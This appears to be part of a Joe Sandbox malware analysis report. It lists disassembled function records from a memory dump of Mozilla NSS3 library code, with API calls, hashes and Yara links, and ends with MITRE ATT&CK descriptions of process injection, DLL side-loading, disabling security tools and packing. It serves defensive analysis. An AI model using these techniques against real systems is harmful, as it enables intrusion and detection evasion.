Part of subcall function 6CA995B0: EnterCriticalSection.KERNEL32(?,?,?,6CAB00D2,00000000), ref: 6CA995E7
Part of subcall function 6CA995B0: PR_Unlock.NSS3(?,?,?,?,6CAB00D2,00000000), ref: 6CA99605

PR_EnterMonitor.NSS3 ref: 6CAA1E09

Part of subcall function 6CB59090: TlsGetValue.KERNEL32 ref: 6CB590AB
Part of subcall function 6CB59090: TlsGetValue.KERNEL32 ref: 6CB590C9
Part of subcall function 6CB59090: EnterCriticalSection.KERNEL32 ref: 6CB590E5
Part of subcall function 6CB59090: TlsGetValue.KERNEL32 ref: 6CB59116
Part of subcall function 6CB59090: LeaveCriticalSection.KERNEL32 ref: 6CB5913F

Part of subcall function 6CA9E190: PR_EnterMonitor.NSS3(?,?,6CA9E175), ref: 6CA9E19C
Part of subcall function 6CA9E190: PR_EnterMonitor.NSS3(6CA9E175), ref: 6CA9E1AA
Part of subcall function 6CA9E190: PR_ExitMonitor.NSS3 ref: 6CA9E208
Part of subcall function 6CA9E190: PL_HashTableRemove.NSS3(?), ref: 6CA9E219
Part of subcall function 6CA9E190: PORT_FreeArena_Util.NSS3(?,00000000), ref: 6CA9E231
Part of subcall function 6CA9E190: PORT_FreeArena_Util.NSS3(?,00000000), ref: 6CA9E249
Part of subcall function 6CA9E190: PR_ExitMonitor.NSS3 ref: 6CA9E257

PR_SetError.NSS3(FFFFE005,00000000), ref: 6CAA1E37
PR_ExitMonitor.NSS3 ref: 6CAA1E4A

Memory Dump Source

Source File: 00000001.00000002.2764652659.000000006CA11000.00000020.00000001.01000000.00000009.sdmp, Offset: 6CA10000, based on PE: true

Associated: 00000001.00000002.2761833512.000000006CA10000.00000002.00000001.01000000.00000009.sdmpDownload File
Associated: 00000001.00000002.2768255000.000000006CBAF000.00000002.00000001.01000000.00000009.sdmpDownload File
Associated: 00000001.00000002.2768962487.000000006CBEE000.00000004.00000001.01000000.00000009.sdmpDownload File
Associated: 00000001.00000002.2769152294.000000006CBEF000.00000008.00000001.01000000.00000009.sdmpDownload File
Associated: 00000001.00000002.2769436248.000000006CBF0000.00000004.00000001.01000000.00000009.sdmpDownload File
Associated: 00000001.00000002.2769591794.000000006CBF5000.00000002.00000001.01000000.00000009.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_1_2_6ca10000_file.jbxd

Similarity

API ID: Monitor$Enter$Value$CriticalExitSection$Arena_FreeUtil$CertificateDestroyErrorHashLeaveRemoveTableUnlock
String ID:
API String ID: 499896158-0
Opcode ID: 9ed76cb6d50f75ebe36d67b304083337c75e341429d624b2927f1c279f9a4922
Instruction ID: 042ef2210e1f2c8a6ed4ad7c36719c6681a8509075c9a12e49360306c29e2e7a
Opcode Fuzzy Hash: 9ed76cb6d50f75ebe36d67b304083337c75e341429d624b2927f1c279f9a4922
Instruction Fuzzy Hash: B001D4B1B001A0E7EA205BA5FC40F7677B4AB4175CF180034E62897B61E771EC5ACB91

Function 6CAA1D50 Relevance: 6.0, APIs: 4, Instructions: 47memoryCOMMON

Download Yara Rule

APIs

PR_SetError.NSS3(FFFFE005,00000000), ref: 6CAA1D75
PORT_ZAlloc_Util.NSS3(0000000C), ref: 6CAA1D89
PORT_ZAlloc_Util.NSS3(00000010), ref: 6CAA1D9C
free.MOZGLUE(00000000), ref: 6CAA1DB8

Memory Dump Source

Source File: 00000001.00000002.2764652659.000000006CA11000.00000020.00000001.01000000.00000009.sdmp, Offset: 6CA10000, based on PE: true

Associated: 00000001.00000002.2761833512.000000006CA10000.00000002.00000001.01000000.00000009.sdmpDownload File
Associated: 00000001.00000002.2768255000.000000006CBAF000.00000002.00000001.01000000.00000009.sdmpDownload File
Associated: 00000001.00000002.2768962487.000000006CBEE000.00000004.00000001.01000000.00000009.sdmpDownload File
Associated: 00000001.00000002.2769152294.000000006CBEF000.00000008.00000001.01000000.00000009.sdmpDownload File
Associated: 00000001.00000002.2769436248.000000006CBF0000.00000004.00000001.01000000.00000009.sdmpDownload File
Associated: 00000001.00000002.2769591794.000000006CBF5000.00000002.00000001.01000000.00000009.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_1_2_6ca10000_file.jbxd

Similarity

API ID: Alloc_Util$Errorfree
String ID:
API String ID: 939066016-0
Opcode ID: e5feafa9d02aa289e8e1efb7fa5b10cb71c51b54a338a42ab3c473cdadf13b11
Instruction ID: 76c5271775be638f61c28537bb3b4728146d14f8b6afc2cad17104f00c45debf
Opcode Fuzzy Hash: e5feafa9d02aa289e8e1efb7fa5b10cb71c51b54a338a42ab3c473cdadf13b11
Instruction Fuzzy Hash: BAF0F9B6605250A7FF101F996C42B777658DF81B98F140235EF6D47B44D670E48683E1

Function 6CB3AC00 Relevance: 6.0, APIs: 4, Instructions: 45COMMON

Download Yara Rule

APIs

PK11_FreeSymKey.NSS3(?,6CB25D40,00000000,?,?,6CB16AC6,6CB2639C), ref: 6CB3AC2D

Part of subcall function 6CADADC0: TlsGetValue.KERNEL32(?,6CABCDBB,?,6CABD079,00000000,00000001), ref: 6CADAE10
Part of subcall function 6CADADC0: EnterCriticalSection.KERNEL32(?,?,6CABCDBB,?,6CABD079,00000000,00000001), ref: 6CADAE24
Part of subcall function 6CADADC0: PR_Unlock.NSS3(?,?,?,?,?,?,6CABD079,00000000,00000001), ref: 6CADAE5A
Part of subcall function 6CADADC0: memset.VCRUNTIME140(85145F8B,00000000,8D1474DB,?,6CABCDBB,?,6CABD079,00000000,00000001), ref: 6CADAE6F
Part of subcall function 6CADADC0: free.MOZGLUE(85145F8B,?,?,?,?,6CABCDBB,?,6CABD079,00000000,00000001), ref: 6CADAE7F
Part of subcall function 6CADADC0: TlsGetValue.KERNEL32(?,6CABCDBB,?,6CABD079,00000000,00000001), ref: 6CADAEB1
Part of subcall function 6CADADC0: EnterCriticalSection.KERNEL32(?,?,?,?,?,?,?,?,?,?,6CABCDBB,?,6CABD079,00000000,00000001), ref: 6CADAEC9

PK11_FreeSymKey.NSS3(?,6CB25D40,00000000,?,?,6CB16AC6,6CB2639C), ref: 6CB3AC44
SECITEM_ZfreeItem_Util.NSS3(8CB6FF15,00000000,6CB25D40,00000000,?,?,6CB16AC6,6CB2639C), ref: 6CB3AC59
free.MOZGLUE(8CB6FF01,6CB16AC6,6CB2639C,?,?,?,?,?,?,?,?,?,6CB25D40,00000000,?,6CB2AAD4), ref: 6CB3AC62

Memory Dump Source

Source File: 00000001.00000002.2764652659.000000006CA11000.00000020.00000001.01000000.00000009.sdmp, Offset: 6CA10000, based on PE: true

Associated: 00000001.00000002.2761833512.000000006CA10000.00000002.00000001.01000000.00000009.sdmpDownload File
Associated: 00000001.00000002.2768255000.000000006CBAF000.00000002.00000001.01000000.00000009.sdmpDownload File
Associated: 00000001.00000002.2768962487.000000006CBEE000.00000004.00000001.01000000.00000009.sdmpDownload File
Associated: 00000001.00000002.2769152294.000000006CBEF000.00000008.00000001.01000000.00000009.sdmpDownload File
Associated: 00000001.00000002.2769436248.000000006CBF0000.00000004.00000001.01000000.00000009.sdmpDownload File
Associated: 00000001.00000002.2769591794.000000006CBF5000.00000002.00000001.01000000.00000009.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_1_2_6ca10000_file.jbxd

Similarity

API ID: CriticalEnterFreeK11_SectionValuefree$Item_UnlockUtilZfreememset
String ID:
API String ID: 1595327144-0
Opcode ID: 1329be8462e60618d27fa4339b9e110a519a59cf7c211cc7161d3df0f6d5635f
Instruction ID: 7eb3c589e4db47964a3ff0fe6e9b9485135f8074beb13bf234dfce66a4b27df1
Opcode Fuzzy Hash: 1329be8462e60618d27fa4339b9e110a519a59cf7c211cc7161d3df0f6d5635f
Instruction Fuzzy Hash: 810128B56002149BDF10DF55EDC0B467BA8EB88B58F688068E9498F746D735E848CBA2

Function 6CAEFD80 Relevance: 6.0, APIs: 4, Instructions: 43memoryCOMMON

Download Yara Rule

APIs

PORT_Alloc_Util.NSS3(0000000C,?,?,00000001,?,6CA99003,?), ref: 6CAEFD91

Part of subcall function 6CAF0BE0: malloc.MOZGLUE(6CAE8D2D,?,00000000,?), ref: 6CAF0BF8
Part of subcall function 6CAF0BE0: TlsGetValue.KERNEL32(6CAE8D2D,?,00000000,?), ref: 6CAF0C15

PORT_Alloc_Util.NSS3(A4686CAF,?), ref: 6CAEFDA2
memcpy.VCRUNTIME140(00000000,12D068C3,A4686CAF,?,?), ref: 6CAEFDC4
free.MOZGLUE(00000000,?,?), ref: 6CAEFDD1

Memory Dump Source

Source File: 00000001.00000002.2764652659.000000006CA11000.00000020.00000001.01000000.00000009.sdmp, Offset: 6CA10000, based on PE: true

Associated: 00000001.00000002.2761833512.000000006CA10000.00000002.00000001.01000000.00000009.sdmpDownload File
Associated: 00000001.00000002.2768255000.000000006CBAF000.00000002.00000001.01000000.00000009.sdmpDownload File
Associated: 00000001.00000002.2768962487.000000006CBEE000.00000004.00000001.01000000.00000009.sdmpDownload File
Associated: 00000001.00000002.2769152294.000000006CBEF000.00000008.00000001.01000000.00000009.sdmpDownload File
Associated: 00000001.00000002.2769436248.000000006CBF0000.00000004.00000001.01000000.00000009.sdmpDownload File
Associated: 00000001.00000002.2769591794.000000006CBF5000.00000002.00000001.01000000.00000009.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_1_2_6ca10000_file.jbxd

Similarity

API ID: Alloc_Util$Valuefreemallocmemcpy
String ID:
API String ID: 2335489644-0
Opcode ID: fbab4dbb37735f6f8ec1366b6e3a1da82e8da73d54eb86fbeac837dec4f8c8e8
Instruction ID: b7c7435fcc4be51d383f61ab3c093744feda32f4e79eab7d9c5e342ac71290cf
Opcode Fuzzy Hash: fbab4dbb37735f6f8ec1366b6e3a1da82e8da73d54eb86fbeac837dec4f8c8e8
Instruction Fuzzy Hash: 14F0FCF16022425BEB004F55FCC0957BF58EF9829DB188138ED198BB01E732D855C7E1

Function 6CBACC50 Relevance: 6.0, APIs: 4, Instructions: 29COMMON

Download Yara Rule

APIs

DeleteCriticalSection.KERNEL32(?), ref: 6CBACC61
free.MOZGLUE ref: 6CBACC6E
DeleteCriticalSection.KERNEL32(?), ref: 6CBACC80
free.MOZGLUE(?), ref: 6CBACC87

Memory Dump Source

Source File: 00000001.00000002.2764652659.000000006CA11000.00000020.00000001.01000000.00000009.sdmp, Offset: 6CA10000, based on PE: true

Associated: 00000001.00000002.2761833512.000000006CA10000.00000002.00000001.01000000.00000009.sdmpDownload File
Associated: 00000001.00000002.2768255000.000000006CBAF000.00000002.00000001.01000000.00000009.sdmpDownload File
Associated: 00000001.00000002.2768962487.000000006CBEE000.00000004.00000001.01000000.00000009.sdmpDownload File
Associated: 00000001.00000002.2769152294.000000006CBEF000.00000008.00000001.01000000.00000009.sdmpDownload File
Associated: 00000001.00000002.2769436248.000000006CBF0000.00000004.00000001.01000000.00000009.sdmpDownload File
Associated: 00000001.00000002.2769591794.000000006CBF5000.00000002.00000001.01000000.00000009.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_1_2_6ca10000_file.jbxd

Similarity

API ID: CriticalDeleteSectionfree
String ID:
API String ID: 2988086103-0
Opcode ID: 1a34f92c2ff6f98c87bbfc137142232f2222cf71ca3a43e110b10e4ecafb2777
Instruction ID: d8d0b7fa0fd10382be35d3f472cd50537223075c66ddfc409e2816c0b26b5ad1
Opcode Fuzzy Hash: 1a34f92c2ff6f98c87bbfc137142232f2222cf71ca3a43e110b10e4ecafb2777
Instruction Fuzzy Hash: 1EE030767006189BCA10EFA8DC448867BACEE4D6B03150525E691C3700D231F905CBA1

Function 6CA89DC0 Relevance: 5.5, APIs: 1, Strings: 2, Instructions: 220COMMON

Download Yara Rule

APIs

sqlite3_value_text.NSS3 ref: 6CA89E1F

Part of subcall function 6CA413C0: strlen.API-MS-WIN-CRT-STRING-L1-1-0(?,?,?,?,6CA12352,?,00000000,?,?), ref: 6CA41413
Part of subcall function 6CA413C0: memcpy.VCRUNTIME140(00000000,6CA12352,00000002,?,?,?,?,6CA12352,?,00000000,?,?), ref: 6CA414C0

Strings

ESCAPE expression must be a single character, xrefs: 6CA89F78
LIKE or GLOB pattern too complex, xrefs: 6CA8A006

Memory Dump Source

Source File: 00000001.00000002.2764652659.000000006CA11000.00000020.00000001.01000000.00000009.sdmp, Offset: 6CA10000, based on PE: true

Associated: 00000001.00000002.2761833512.000000006CA10000.00000002.00000001.01000000.00000009.sdmpDownload File
Associated: 00000001.00000002.2768255000.000000006CBAF000.00000002.00000001.01000000.00000009.sdmpDownload File
Associated: 00000001.00000002.2768962487.000000006CBEE000.00000004.00000001.01000000.00000009.sdmpDownload File
Associated: 00000001.00000002.2769152294.000000006CBEF000.00000008.00000001.01000000.00000009.sdmpDownload File
Associated: 00000001.00000002.2769436248.000000006CBF0000.00000004.00000001.01000000.00000009.sdmpDownload File
Associated: 00000001.00000002.2769591794.000000006CBF5000.00000002.00000001.01000000.00000009.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_1_2_6ca10000_file.jbxd

Similarity

API ID: memcpysqlite3_value_textstrlen
String ID: ESCAPE expression must be a single character$LIKE or GLOB pattern too complex
API String ID: 2453365862-264706735
Opcode ID: 29e644f3f6321f7fbe3d0388012d4d91d2b93e4ee7053e51a3c38be301146964
Instruction ID: bbeeefc811e6255595f6a301c471cd0a8d5a3dbe189dd2eb1dac20a8bddf74f3
Opcode Fuzzy Hash: 29e644f3f6321f7fbe3d0388012d4d91d2b93e4ee7053e51a3c38be301146964
Instruction Fuzzy Hash: 1981E971A063554BDB04CF39C2803A9BBF2AF45318F2C8659D8A99BB81D736DCC6C791

Function 6CAE4D10 Relevance: 5.4, APIs: 2, Strings: 1, Instructions: 106COMMON

Download Yara Rule

APIs

PR_SetError.NSS3(FFFFE001,00000000), ref: 6CAE4D57
PR_snprintf.NSS3(?,00000008,%d.%d,?,?), ref: 6CAE4DE6

Strings

%d.%d, xrefs: 6CAE4DDE

Memory Dump Source

Source File: 00000001.00000002.2764652659.000000006CA11000.00000020.00000001.01000000.00000009.sdmp, Offset: 6CA10000, based on PE: true

Associated: 00000001.00000002.2761833512.000000006CA10000.00000002.00000001.01000000.00000009.sdmpDownload File
Associated: 00000001.00000002.2768255000.000000006CBAF000.00000002.00000001.01000000.00000009.sdmpDownload File
Associated: 00000001.00000002.2768962487.000000006CBEE000.00000004.00000001.01000000.00000009.sdmpDownload File
Associated: 00000001.00000002.2769152294.000000006CBEF000.00000008.00000001.01000000.00000009.sdmpDownload File
Associated: 00000001.00000002.2769436248.000000006CBF0000.00000004.00000001.01000000.00000009.sdmpDownload File
Associated: 00000001.00000002.2769591794.000000006CBF5000.00000002.00000001.01000000.00000009.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_1_2_6ca10000_file.jbxd

Similarity

API ID: ErrorR_snprintf
String ID: %d.%d
API String ID: 2298970422-3954714993
Opcode ID: a00dc45f3256bcfaa01c20661c51ebaadec4080f83db8e4750eaae7da99a7bf0
Instruction ID: 0b1c819a232bf3217272c8b111179b5f4912d4419a6de26a6eb681fe894a0d57
Opcode Fuzzy Hash: a00dc45f3256bcfaa01c20661c51ebaadec4080f83db8e4750eaae7da99a7bf0
Instruction Fuzzy Hash: 60310AB2E002586BEB109BA59C45BFF776CEF44308F050469ED159B781EB309949DBE2

Function 6CB2AF70 Relevance: 5.3, APIs: 2, Strings: 1, Instructions: 41COMMON

Download Yara Rule

APIs

PR_GetUniqueIdentity.NSS3(SSL), ref: 6CB2AF78

Part of subcall function 6CA8ACC0: strlen.API-MS-WIN-CRT-STRING-L1-1-0(?), ref: 6CA8ACE2
Part of subcall function 6CA8ACC0: malloc.MOZGLUE(00000001), ref: 6CA8ACEC
Part of subcall function 6CA8ACC0: strcpy.API-MS-WIN-CRT-STRING-L1-1-0(00000000,?), ref: 6CA8AD02
Part of subcall function 6CA8ACC0: TlsGetValue.KERNEL32 ref: 6CA8AD3C
Part of subcall function 6CA8ACC0: calloc.MOZGLUE(00000001,?), ref: 6CA8AD8C
Part of subcall function 6CA8ACC0: PR_Unlock.NSS3 ref: 6CA8ADC0
Part of subcall function 6CA8ACC0: PR_Unlock.NSS3 ref: 6CA8AE8C
Part of subcall function 6CA8ACC0: free.MOZGLUE(?), ref: 6CA8AEAB

memcpy.VCRUNTIME140(6CBF3084,6CBF02AC,00000090), ref: 6CB2AF94

Strings

SSL, xrefs: 6CB2AF73

Memory Dump Source

Source File: 00000001.00000002.2764652659.000000006CA11000.00000020.00000001.01000000.00000009.sdmp, Offset: 6CA10000, based on PE: true

Associated: 00000001.00000002.2761833512.000000006CA10000.00000002.00000001.01000000.00000009.sdmpDownload File
Associated: 00000001.00000002.2768255000.000000006CBAF000.00000002.00000001.01000000.00000009.sdmpDownload File
Associated: 00000001.00000002.2768962487.000000006CBEE000.00000004.00000001.01000000.00000009.sdmpDownload File
Associated: 00000001.00000002.2769152294.000000006CBEF000.00000008.00000001.01000000.00000009.sdmpDownload File
Associated: 00000001.00000002.2769436248.000000006CBF0000.00000004.00000001.01000000.00000009.sdmpDownload File
Associated: 00000001.00000002.2769591794.000000006CBF5000.00000002.00000001.01000000.00000009.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_1_2_6ca10000_file.jbxd

Similarity

API ID: Unlock$IdentityUniqueValuecallocfreemallocmemcpystrcpystrlen
String ID: SSL
API String ID: 2424436289-2135378647
Opcode ID: 027cf0ffb64ca2c49267bf937ad146353700c4e3fd6f9374da548ea7f4ba84f7
Instruction ID: f7a277fe31a1e1efa754cc193cdbcbf5193f047904a086847f53f107319a2278
Opcode Fuzzy Hash: 027cf0ffb64ca2c49267bf937ad146353700c4e3fd6f9374da548ea7f4ba84f7
Instruction Fuzzy Hash: 9A214EB2205AC8AADB00DF71B547B327A79B302348B10510AC13E4BB28DB3990499FD7

Function 6CA80F00 Relevance: 5.3, APIs: 2, Strings: 1, Instructions: 16COMMON

Download Yara Rule

APIs

PR_GetPageSize.NSS3(6CA80936,FFFFE8AE,?,6CA116B7,00000000,?,6CA80936,00000000,?,6CA1204A), ref: 6CA80F1B

Part of subcall function 6CA81370: GetSystemInfo.KERNEL32(?,?,?,?,6CA80936,?,6CA80F20,6CA80936,FFFFE8AE,?,6CA116B7,00000000,?,6CA80936,00000000), ref: 6CA8138F

PR_NewLogModule.NSS3(clock,6CA80936,FFFFE8AE,?,6CA116B7,00000000,?,6CA80936,00000000,?,6CA1204A), ref: 6CA80F25

Part of subcall function 6CA81110: calloc.MOZGLUE(00000001,0000000C,?,?,?,?,?,?,?,?,?,?,6CA80936,00000001,00000040), ref: 6CA81130
Part of subcall function 6CA81110: strdup.MOZGLUE(?,?,?,?,?,?,?,?,?,?,?,?,?,6CA80936,00000001,00000040), ref: 6CA81142
Part of subcall function 6CA81110: PR_GetEnvSecure.NSS3(NSPR_LOG_MODULES,?,?,?,?,?,?,?,?,?,?,?,?,?,6CA80936,00000001), ref: 6CA81167

Strings

clock, xrefs: 6CA80F20

Memory Dump Source

Source File: 00000001.00000002.2764652659.000000006CA11000.00000020.00000001.01000000.00000009.sdmp, Offset: 6CA10000, based on PE: true

Associated: 00000001.00000002.2761833512.000000006CA10000.00000002.00000001.01000000.00000009.sdmpDownload File
Associated: 00000001.00000002.2768255000.000000006CBAF000.00000002.00000001.01000000.00000009.sdmpDownload File
Associated: 00000001.00000002.2768962487.000000006CBEE000.00000004.00000001.01000000.00000009.sdmpDownload File
Associated: 00000001.00000002.2769152294.000000006CBEF000.00000008.00000001.01000000.00000009.sdmpDownload File
Associated: 00000001.00000002.2769436248.000000006CBF0000.00000004.00000001.01000000.00000009.sdmpDownload File
Associated: 00000001.00000002.2769591794.000000006CBF5000.00000002.00000001.01000000.00000009.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_1_2_6ca10000_file.jbxd

Similarity

API ID: InfoModulePageSecureSizeSystemcallocstrdup
String ID: clock
API String ID: 536403800-3195780754
Opcode ID: 459ce762f7e66ba8e191c8eb1f3f4bfd2fd3d350bb05eb56831e9261ceb3de35
Instruction ID: 2dde1b4767baea25bfc693060eb67030854945c4ffa5f46e75edc206a0d24139
Opcode Fuzzy Hash: 459ce762f7e66ba8e191c8eb1f3f4bfd2fd3d350bb05eb56831e9261ceb3de35
Instruction Fuzzy Hash: 91D0123270518857C9116667AC45FB6B6BCD7C3679F105C36E33C42E104A6490DED267

Function 6CAF0DB0 Relevance: 5.1, APIs: 4, Instructions: 97COMMON

Download Yara Rule

APIs

calloc.MOZGLUE ref: 6CAF0DF5
TlsGetValue.KERNEL32 ref: 6CAF0E2D
TlsGetValue.KERNEL32 ref: 6CAF0E58
TlsGetValue.KERNEL32 ref: 6CAF0E84

Memory Dump Source

Source File: 00000001.00000002.2764652659.000000006CA11000.00000020.00000001.01000000.00000009.sdmp, Offset: 6CA10000, based on PE: true

Associated: 00000001.00000002.2761833512.000000006CA10000.00000002.00000001.01000000.00000009.sdmpDownload File
Associated: 00000001.00000002.2768255000.000000006CBAF000.00000002.00000001.01000000.00000009.sdmpDownload File
Associated: 00000001.00000002.2768962487.000000006CBEE000.00000004.00000001.01000000.00000009.sdmpDownload File
Associated: 00000001.00000002.2769152294.000000006CBEF000.00000008.00000001.01000000.00000009.sdmpDownload File
Associated: 00000001.00000002.2769436248.000000006CBF0000.00000004.00000001.01000000.00000009.sdmpDownload File
Associated: 00000001.00000002.2769591794.000000006CBF5000.00000002.00000001.01000000.00000009.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_1_2_6ca10000_file.jbxd

Similarity

API ID: Value$calloc
String ID:
API String ID: 3339632435-0
Opcode ID: 5b5254f9bf48210b4c53eb42b72938b67f366d2fd13be283498988cd9fdc80c8
Instruction ID: 9bc2893ca29a5acb23947e5a019882039b3da2a321b5d36d6f51ebb07e15a602
Opcode Fuzzy Hash: 5b5254f9bf48210b4c53eb42b72938b67f366d2fd13be283498988cd9fdc80c8
Instruction Fuzzy Hash: 9D31C4B16467818FDB106F78D9856697BB4FF0A348F054669E8A887B11EB34D0C6CB82

Function 6CAF0F10 Relevance: 5.1, APIs: 4, Instructions: 52stringCOMMON

Download Yara Rule

APIs

strlen.API-MS-WIN-CRT-STRING-L1-1-0(?,?,00000000,?,?,6CA92AF5,?,?,?,?,?,6CA90A1B,00000000), ref: 6CAF0F1A
malloc.MOZGLUE(00000001), ref: 6CAF0F30
memcpy.VCRUNTIME140(00000000,?,00000001), ref: 6CAF0F42
TlsGetValue.KERNEL32 ref: 6CAF0F5B

Memory Dump Source

Source File: 00000001.00000002.2764652659.000000006CA11000.00000020.00000001.01000000.00000009.sdmp, Offset: 6CA10000, based on PE: true

Associated: 00000001.00000002.2761833512.000000006CA10000.00000002.00000001.01000000.00000009.sdmpDownload File
Associated: 00000001.00000002.2768255000.000000006CBAF000.00000002.00000001.01000000.00000009.sdmpDownload File
Associated: 00000001.00000002.2768962487.000000006CBEE000.00000004.00000001.01000000.00000009.sdmpDownload File
Associated: 00000001.00000002.2769152294.000000006CBEF000.00000008.00000001.01000000.00000009.sdmpDownload File
Associated: 00000001.00000002.2769436248.000000006CBF0000.00000004.00000001.01000000.00000009.sdmpDownload File
Associated: 00000001.00000002.2769591794.000000006CBF5000.00000002.00000001.01000000.00000009.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_1_2_6ca10000_file.jbxd

Similarity

API ID: Valuemallocmemcpystrlen
String ID:
API String ID: 2332725481-0
Opcode ID: c84dc376fae1e8be4c9e12b5ac8d5bd3a681762f6c76d0908887e97c8daa8ac7
Instruction ID: 04ceaca63fcdecb6743dc9563161133a92af00098821a3d49452a9595a743119
Opcode Fuzzy Hash: c84dc376fae1e8be4c9e12b5ac8d5bd3a681762f6c76d0908887e97c8daa8ac7
Instruction Fuzzy Hash: 1801DDB1A012D05BFB101779DE4456A7A6CEF52299F050165FC68C3A11D731C49687E2

Function 6CAA1EB0 Relevance: 5.0, APIs: 4, Instructions: 38COMMON

Download Yara Rule

APIs

free.MOZGLUE(?), ref: 6CAA1ECE
free.MOZGLUE(?), ref: 6CAA1EDF
free.MOZGLUE(?), ref: 6CAA1EEF
free.MOZGLUE(?), ref: 6CAA1EF5

Memory Dump Source

Source File: 00000001.00000002.2764652659.000000006CA11000.00000020.00000001.01000000.00000009.sdmp, Offset: 6CA10000, based on PE: true

Associated: 00000001.00000002.2761833512.000000006CA10000.00000002.00000001.01000000.00000009.sdmpDownload File
Associated: 00000001.00000002.2768255000.000000006CBAF000.00000002.00000001.01000000.00000009.sdmpDownload File
Associated: 00000001.00000002.2768962487.000000006CBEE000.00000004.00000001.01000000.00000009.sdmpDownload File
Associated: 00000001.00000002.2769152294.000000006CBEF000.00000008.00000001.01000000.00000009.sdmpDownload File
Associated: 00000001.00000002.2769436248.000000006CBF0000.00000004.00000001.01000000.00000009.sdmpDownload File
Associated: 00000001.00000002.2769591794.000000006CBF5000.00000002.00000001.01000000.00000009.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_1_2_6ca10000_file.jbxd

Similarity

API ID: free
String ID:
API String ID: 1294909896-0
Opcode ID: fcda4ed84cb5291fe4aec318d7b7f719bf7933c7fabe000a59a3421dca68856f
Instruction ID: e4855fc23277eca68aefed0e05957d5088809209e524e5b27bb4b4e90d4e7c6d
Opcode Fuzzy Hash: fcda4ed84cb5291fe4aec318d7b7f719bf7933c7fabe000a59a3421dca68856f
Instruction Fuzzy Hash: 76F0B4B1700211BBEB109BA9EC45D37777CEF49594B080425ED19C3A00E725F45186A1

Description:	Adversaries may abuse command and script interpreters to execute commands, scripts, or binaries. These interfaces and languages provide ways of interacting with computer systems and are a common feature across many different platforms. Most systems come with some built-in command-line interface and scripting capabilities, for example, macOS and Linux distributions include some flavor of Unix Shell while Windows installations include the Windows Command Shell and PowerShell .
Tactics:	Execution
Data Sources:	Command: Command Execution, Module: Module Load, Process: Process Creation, Process: Process Metadata, Script: Script Execution
Platforms:	Azure AD, Google Workspace, IaaS, Linux, macOS, Network, Office 365, Windows
Url:	Open detailed description by Mitre

Description:	Adversaries may abuse task scheduling functionality to facilitate initial or recurring execution of malicious code. Utilities exist within all major operating systems to schedule programs or scripts to be executed at a specified date and time. A task can also be scheduled on a remote system, provided the proper authentication is met (ex: RPC and file and printer sharing in Windows environments). Scheduling a task on a remote system typically may require being a member of an admin or otherwise privileged group on the remote system.
Tactics:	Execution, Persistence, Privilege Escalation
Data Sources:	Command: Command Execution, Container: Container Creation, File: File Creation, File: File Modification, Process: Process Creation, Scheduled Job: Scheduled Job Creation
Platforms:	Containers, Linux, macOS, Windows
Url:	Open detailed description by Mitre

Description:	Adversaries may execute their own malicious payloads by side-loading DLLs. Similar to DLL Search Order Hijacking , side-loading involves hijacking which DLL a program loads. But rather than just planting the DLL within the search order of a program then waiting for the victim application to be invoked, adversaries may directly side-load their payloads by planting then invoking a legitimate application that executes their payload(s).
Tactics:	Defense Evasion, Persistence, Privilege Escalation
Data Sources:	File: File Creation, File: File Modification, Module: Module Load, Process: Process Creation
Platforms:	Windows
Url:	Open detailed description by Mitre

Description:	Adversaries may inject code into processes in order to evade process-based defenses as well as possibly elevate privileges. Process injection is a method of executing arbitrary code in the address space of a separate live process. Running code in the context of another process may allow access to the process's memory, system/network resources, and possibly elevated privileges. Execution via process injection may also evade detection from security products since the execution is masked under a legitimate process.
Tactics:	Defense Evasion, Privilege Escalation
Data Sources:	File: File Metadata, File: File Modification, Module: Module Load, Process: OS API Execution, Process: Process Access, Process: Process Metadata, Process: Process Modification
Platforms:	Linux, macOS, Windows
Url:	Open detailed description by Mitre

Description:	Adversaries may modify and/or disable security tools to avoid possible detection of their malware/tools and activities. This may take many forms, such as killing security software processes or services, modifying / deleting Registry keys or configuration files so that tools do not operate properly, or other methods to interfere with security tools scanning or reporting information. Adversaries may also disable updates to prevent the latest security patches from reaching tools on victim systems.
Tactics:	Defense Evasion
Data Sources:	Command: Command Execution, Driver: Driver Load, Process: Process Creation, Process: Process Termination, Sensor Health: Host Status, Service: Service Metadata, Windows Registry: Windows Registry Key Deletion, Windows Registry: Windows Registry Key Modification
Platforms:	Containers, IaaS, Linux, macOS, Network, Windows
Url:	Open detailed description by Mitre

Description:	Adversaries may use Obfuscated Files or Information to hide artifacts of an intrusion from analysis. They may require separate mechanisms to decode or deobfuscate that information depending on how they intend to use it. Methods for doing that include built-in functionality of malware or by using utilities present on the system.
Tactics:	Defense Evasion
Data Sources:	File: File Modification, Process: Process Creation, Script: Script Execution
Platforms:	Linux, macOS, Windows
Url:	Open detailed description by Mitre

Description:	Adversaries may attempt to make an executable or file difficult to discover or analyze by encrypting, encoding, or otherwise obfuscating its contents on the system or in transit. This is common behavior that can be used across different platforms and the network to evade defenses.
Tactics:	Defense Evasion
Data Sources:	Command: Command Execution, File: File Creation, File: File Metadata, Module: Module Load, Process: OS API Execution, Process: Process Creation, Script: Script Execution, WMI: WMI Creation, Windows Registry: Windows Registry Key Creation
Platforms:	Linux, macOS, Windows
Url:	Open detailed description by Mitre

Description:	Adversaries may perform software packing or virtual machine software protection to conceal their code. Software packing is a method of compressing or encrypting an executable. Packing an executable changes the file signature in an attempt to avoid signature-based detection. Most decompression techniques decompress the executable code in memory. Virtual machine software protection translates an executable's original code into a special format that only a special virtual machine can run. A virtual machine is then called to run this code.
Tactics:	Defense Evasion
Data Sources:	File: File Metadata
Platforms:	Linux, macOS, Windows
Url:	Open detailed description by Mitre

